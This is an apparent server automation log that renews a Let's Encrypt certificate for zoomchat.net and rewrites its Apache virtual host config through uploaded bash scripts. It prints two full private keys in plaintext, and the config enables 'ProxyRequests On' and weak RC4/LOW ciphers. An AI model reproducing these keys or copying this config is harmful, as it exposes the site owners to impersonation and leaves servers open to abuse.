EwNSMTMwHhcNMjUxMjEzMDUwMjAwWhcNMjYwMzEzMDUwMTU5WjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALSETbZvitWByvNLdqFd2+Y1jqtvN+gSn6yaQRj9pxYECIJIwWhEfByzGoVYjidb
uMcapXLL2nE9kEXZjB651N7cFk8YnAXIUqpvyLXSs4VUz0a0dX46UeNdhFpt4lis
8MrDT2nI36aCLvgwuwh7QT+ddtLtvYV0om9hFKBC3LpkPKdxj3aEScxkyWeIpL79
1KTpB19qtpRCRrIG4KXSlmgOOJ8zhyVQ4RF825P/W0M0V+bAWzP5xNIHr4U1jY5G
kYHkNfGuN1VXrKFRX8/CB72N4rVdphFe0wSnnj0UCeqrXy8K+Ljo0TmKre0tCLta
gQEgllJ40nFdBjVUgPlR98UCAwEAAaOCAiYwggIiMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU1ivQpnSksIDLZGOASliLk7BqdE4wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5tYXJzLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzM4LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AEmcm2ne
HXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxZL4YkAAAQDAEcwRQIhAJlz
Dq0BuCWtIv3Y7s46+53/jLilotOf8AKlkrzT5tJpAiAW9GBUjfehU3kySZCNCl32
XQhyh7e1PP7sRIlH/ZOeNAB+AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGI
aRn3AAABmxZL424ACAAABQArhge+BAMARzBFAiAKRJ7u7oppvbX/HLCDUw0z9yUr
uGJkAuOiBvV54BOGWwIhAIkFBdM0F6JZ11Y+6+fFMI0YlQegeAIyhG8LCVac4BsA
MA0GCSqGSIb3DQEBCwUAA4IBAQCPd1ZqpL2NAuPAm33yEvKv76V6Db0lcwRBTSU5
m7XTW8uxtbcMfqiqK/iaYjMrWYAYbKxiBx3nRlma1R3IUnIHfxhueLO4R/JoH9d4
ftVK0I9OY6104feDUR+uz3XT80PvDnwvV8LwvfAOkl8MCprPUphButwL0V9kkent
1Vk2CNJq8+yCMDzGgKEe90rVnKOeN7LTaXT3h0HwopH97yvp1pTdFgDdTojVhhON
dneopW3Dniks+so1dDy5CyrXKPRpqxERENdUHuqEsXG7QvmhT8fjA7Th1K2XEp6V
TJ8hFX3LNXjTSZ5xtICYdC6GQr5JLrLb8W7yzf4KSUb39CE4
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC0hE22b4rVgcrz
S3ahXdvmNY6rbzfoEp+smkEY/acWBAiCSMFoRHwcsxqFWI4nW7jHGqVyy9pxPZBF
2YweudTe3BZPGJwFyFKqb8i10rOFVM9GtHV+OlHjXYRabeJYrPDKw09pyN+mgi74
MLsIe0E/nXbS7b2FdKJvYRSgQty6ZDyncY92hEnMZMlniKS+/dSk6QdfaraUQkay
BuCl0pZoDjifM4clUOERfNuT/1tDNFfmwFsz+cTSB6+FNY2ORpGB5DXxrjdVV6yh
UV/Pwge9jeK1XaYRXtMEp549FAnqq18vCvi46NE5iq3tLQi7WoEBIJZSeNJxXQY1
VID5UffFAgMBAAECggEBAJMp2QEF5jUxXvcBanEbR45h0zHHtdgodqwMBU4OXA0C
tL0h+yq5ykTLbq+PBjTn/bez7XWs4yS2f8uyEx1pejVFT5qkAW5lZZ81CnfQkjH8
dg66R57khKXLM39VXdXVB2kF2NPwwwPH1erYL2I2uXbXNGu5DWyjLVmH13zfhXsd
pWSXZ4jZ+nKP+zC+roNow3nKLkPf/Dng+q3ma8UxSxa7xncP6g8d+l4j7ddM6WS5
dAMTZy4TXjOLzY5dBhS6EqedRTCXrpXii+b/KoK47U/hVkWpbXgLFpDbCsiL5x30
UJNKahibRjYR0qd9sjiq/l9w7H8o0iYPBKmzzQEht4ECgYEA5XCW1+ndiv4PX9s8
EHLD+774TYZJjYmI279quvv6sreGHD9Z7NYLav/mW+9sQE8tZSGvoNeuDNj9QuDh
Jodu8hwZFvEcWntsd5WHc/jQQ2ByK+l5LRnPTXFCBRPYz2h6stqo2ahFc19+rBSu
fTb6CtksNKpqvEAhrZ7ZHYwTsD0CgYEAyWnjuXIUfjuzxvWlQ4qdXMRfbaw2fdep
DB6q0fyT6AVdoh7FJbVeSw9G5wI5wAqIlV8WAcj5TbjJaHj2wV3kt0oePXebAkF3
luZwUCUzqNZlpWYG118hhAYKQUSRfwmGGl0IMBu1ozAVNBLLqSLpdu4iXGeTCOpo
bjkGxQPzlikCgYA2mMscR+dTCs/HxJiPZW/jePcHI5xfFMo/WFZidlGas3czQ5P3
epuu84Pyfo+o4e5wcUqkoI4nOn9RqceJ7pJlBHCn9+oCUfpmnmtkGmIclle0wVL3
e3vL9tZ59NYTzM3dv5CMcrFMGf4/npBC9ZEcgb82LRNHBo+9C96oXEvXFQKBgGK2
ux2Qg+q6aAoDKtRHg4iL1hlyZeKXaArAnQf9up/kwVdLrWQl1+kBu8ZMmPE+OGK9
D5QgY89r2YqSfp2W3xnWAawuipI4c9xJZJJjKUZ+jaLatk+oGE0UiMIkUQrqKAeT
wQeTDRrF3h5/d8GVksbvP3f6a13bRQOAf4jfvurBAoGBANaTsqADHx9IHWpSA0mh
6JZw0+UX0enk1KAbrlrJ/EEb5nIdSGemGYw90ILz3Bnc3SDCZ7TavlVIpE4H9OZW
IUK2V7ApPpiY8VrpeGQJIZMWtncp0oYej5zullxDHN/BhazB0pplQHUAtkb3pnOQ
J1hgGu1l8jboPSQScLRl0PoY
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-13 06:00:32: Establishing a connection
2025-12-13 06:00:33: Establishing a connection
2025-12-13 06:00:34: 

PUT: /tmp/pkp825744

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-13 06:00:35: 

chmod 755 /tmp/pkp825744; /tmp/pkp825744; rm /tmp/pkp825744

2025-12-13 06:00:35: 


0


2025-12-14 06:00:02: Establishing a connection
2025-12-14 06:00:03: Establishing a connection
2025-12-14 06:00:05: 

PUT: /tmp/pkp769078

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-14 06:00:06: 

chmod 755 /tmp/pkp769078; /tmp/pkp769078; rm /tmp/pkp769078

2025-12-14 06:00:06: 


1


2025-12-14 06:00:07: Establishing a connection
2025-12-14 06:00:09: 

PUT: /tmp/pkp170413

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > 7hKKaJeKYrCrhYMXxH_hH_ySqxgfFj_RGEDlYS6vqJw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
7hKKaJeKYrCrhYMXxH_hH_ySqxgfFj_RGEDlYS6vqJw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 7hKKaJeKYrCrhYMXxH_hH_ySqxgfFj_RGEDlYS6vqJw


2025-12-14 06:00:10: 

chmod 755 /tmp/pkp170413; /tmp/pkp170413; rm /tmp/pkp170413

2025-12-14 06:00:10: 




2025-12-14 06:00:20: Establishing a connection
2025-12-14 06:00:21: 

PUT: /tmp/pkp179424

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm 7hKKaJeKYrCrhYMXxH_hH_ySqxgfFj_RGEDlYS6vqJw


2025-12-14 06:00:22: 

chmod 755 /tmp/pkp179424; /tmp/pkp179424; rm /tmp/pkp179424

2025-12-14 06:00:22: 




2025-12-14 06:00:22: Establishing a connection
2025-12-14 06:00:24: 

PUT: /tmp/pkp725157

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7a3fc3cb644d42495f9e28d766d3339.crt

cat > $temp_file <<'endmsg'
60:9d:ef:d2:5b:3a:6b:90:74:33:46:51:48:f8:ef:54

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBUmb2nydLaQDO0vc9V06bpcnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMTQ5WhcNMjYwMzE0MDUwMTQ4WjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDP
lrOC9E4oNCY7OU/Sqy3ddMjylC760X0o0mjI0NI+K3UW+oUnqCKv+bKECPW5j4Ie
cYkceTaPyUC1COGyDYF7Hg7Nzs5yHtiPpsqfQoYyR+kYl6JuTXN66bg5iTWNlSbk
BlReBlYpy/hDjnmM1E22B//bgZ04vOlqIovY50eMksQLlVJWb/nlhYz7W4bb1FdX
pnsCEl+JM2Wjb4oX2c3wmvCvkI7F0TIKWiYB/pt42vkb01SobxRCZHgE/7i9cXi/
PEOwiSl5U7y0+U1MUfXnwHhKTNV7qpnK5IPyqYoywoEBgPEUupWfanzTfgXjufz3
S24rZroY9ukTfLO6IXCvAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBNIvwVj4VPAw0l+T3J0reOqmR3eMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMem9vbWNoYXQubmV0MBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvNDAuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAFoMtq/CpJQ8P
8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbG3ITbQAABAMARzBFAiEAtPOvCzy6
FYwUnDEZWZvTN8hiFLY9Eos+YBgcHGQ4iMoCIFoFUUCklpay5aXLeXAqIs7Kekvd
+jtdl8URoS1Fog6tAH0AcX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIA
AAGbG3IT+wAIAAAFAAQdHrEEAwBGMEQCIB55TuEEhMjf6Hm02UqMZlwLX/cb+w6m
0jFjMVj/nnfcAiByy4ZJubqqi3HGGR+CSgdY8JM3aHcOnbaEBMkEax2GWDANBgkq
hkiG9w0BAQsFAAOCAQEAGNtpr74XsyRxbz3EoaYZlLUYt4kMzERt3AC9gZC9zXjp
yfuFeQmolNp9zqrnF6MxZNt1S9L9xsWZWKTXYIfIK/M09O2yk+S7kgdyTk15J9wV
wz9LYyCtA/THBzWxUmmirCA54MiLsL2aC7x5p9d8NQgMR07fX3SsmZ3XkVz+C387
8txK7ZYtbEp29IB89jf5nhYHH4qRcRHcYNj0ymq5l5GznvBD35KB76yiEMigwFkc
h94bem3aq2Q2LSI0D3YpO7dhmlmIPnPdvrxkzX6sbwtwVxdJz16SaSM70KhftAkm
UU9VF+CCce3RhR26i7jhbDgTolwdkkEWoh2mTvOZ9g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPlrOC9E4oNCY7
OU/Sqy3ddMjylC760X0o0mjI0NI+K3UW+oUnqCKv+bKECPW5j4IecYkceTaPyUC1
COGyDYF7Hg7Nzs5yHtiPpsqfQoYyR+kYl6JuTXN66bg5iTWNlSbkBlReBlYpy/hD
jnmM1E22B//bgZ04vOlqIovY50eMksQLlVJWb/nlhYz7W4bb1FdXpnsCEl+JM2Wj
b4oX2c3wmvCvkI7F0TIKWiYB/pt42vkb01SobxRCZHgE/7i9cXi/PEOwiSl5U7y0
+U1MUfXnwHhKTNV7qpnK5IPyqYoywoEBgPEUupWfanzTfgXjufz3S24rZroY9ukT
fLO6IXCvAgMBAAECggEAGRIfTgKJaeuabm6miE/qMyPGnR1uaxZf4k0/IHmv2phP
BN5utHJm9g/XEoEuhCGj2l9l6s1s3IK20OZos6NT7vWbXhnK7xdwmjDPqdpT8MCk
kzbFBENQXhjaCgDbOeU4lDN7fvuO7m9W5XnQjkSZuhFPQkhuH4sZOZtAfoq4Jm7f
gTTix+zwnqFd6CVNbI6dVpXqVExFrjjVzip+JfoabJ8L4oxeDViWFEKxB6sbNep5
+XSTl3HujT1/0+WPFi1o+JndNhLJucbLoP4olyYTFXnLz63zZmrDYsLpSdZ1j0sZ
VXMTFUQBKkiGjC1smUFbcFmV/rt4IJD12XHvXNNzkQKBgQDzML5QI4CEPXAw0JUT
7d/qZjHmwjenZxIPxrZLf6E4Gw+l4v6uU7TemLsWyoVSRKpdN1HSMOFE+vQKTPju
W/lmY/Ht7tAr/kcuTP8svCmxEJI97ydHuMoJ2HLWVhT+JSyuoUn59LITA2rUCF5o
zVeLgAdQMf6M2meCaIZb4314iQKBgQDaheSPnIvjYVDjJyVb8A5Nyi6XFrnkIxV2
4pFzn31/I0h0LgNZ58neRIqsbXNvh8anmmvONxN8cP/GARQNTuuIoxD2otWe7AIx
dRVG6am7p0BMfEY34H+qxnq7l5uFPI8ryc2zrXgdPCyno4Dg004kLI0rlKQ2Cmtb
VZ1GYW7hdwKBgQDr+gthpeFp8Ffx9iQCT5ssTvfzC9iHJvuetVpkjjb5Q0D+3fH1
ZKIoMRmxttiBiMGrbCeIBwhAMCcn66LNYA/0a9zw3P/BAJ8/bVVaqkbmWscdM/fw
n33k6dQc6TC7n4To+vbWhbtZucIqduhtV3uwkI4IIkr3kGJKZ3Sgq3EvyQKBgEpQ
3ro4cxqRLgESfxIVQcgSymV3xSBhDhuwUecQho2GYk2gmGMrAOwmQ0MAthFoC5dU
XPV0pZvckh+0ni0oedGuI0a9egjiGpzXRLUpIiA/cQ6R9Q9ruf9KINNLbAiT39z0
dJB2njLTFByu7lWHhzumKxx3IKGASaJ2K1aULDFhAoGBAKdKqlRy4qK2jRSArsPE
BNnDWZv209ydxi9A+kyejl423AagR7yIJrGoYqVe/A8xXnT40cAA/y1N8mJgN6N6
mrMI0FAKXnQ9VzAgka1I8ry0KMnJbQt9J7Jz/nbTo5Dmrxh5llbrUdisAxyQOGg6
eQeZcacO7NVObqkYPnLw+jcK
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-14 06:00:25: 

chmod 755 /tmp/pkp725157; /tmp/pkp725157; rm /tmp/pkp725157

2025-12-14 06:00:25: 


dir=/etc/pki/tls/certs/


2025-12-14 06:00:25: 

PUT: /tmp/pkp675451

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-14 06:00:25: 

chmod 755 /tmp/pkp675451; /tmp/pkp675451; rm /tmp/pkp675451

2025-12-14 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf 2272

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
   
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
 
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-14 06:00:26: 

PUT: /tmp/pkp736190

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_net.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_net.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf= 1'
fi


2025-12-14 06:00:26: 

chmod 755 /tmp/pkp736190; /tmp/pkp736190; rm /tmp/pkp736190

2025-12-14 06:00:26: 




2025-12-14 06:00:26: 

PUT: /tmp/pkp159830

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-14 06:00:27: 

chmod 755 /tmp/pkp159830; /tmp/pkp159830; rm /tmp/pkp159830

2025-12-14 06:00:27: 


.


2025-12-14 06:00:27: Establishing a connection
2025-12-14 06:00:28: 

PUT: /tmp/pkp988340

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-14 06:00:29: 

chmod 755 /tmp/pkp988340; /tmp/pkp988340; rm /tmp/pkp988340

2025-12-14 06:00:30: 


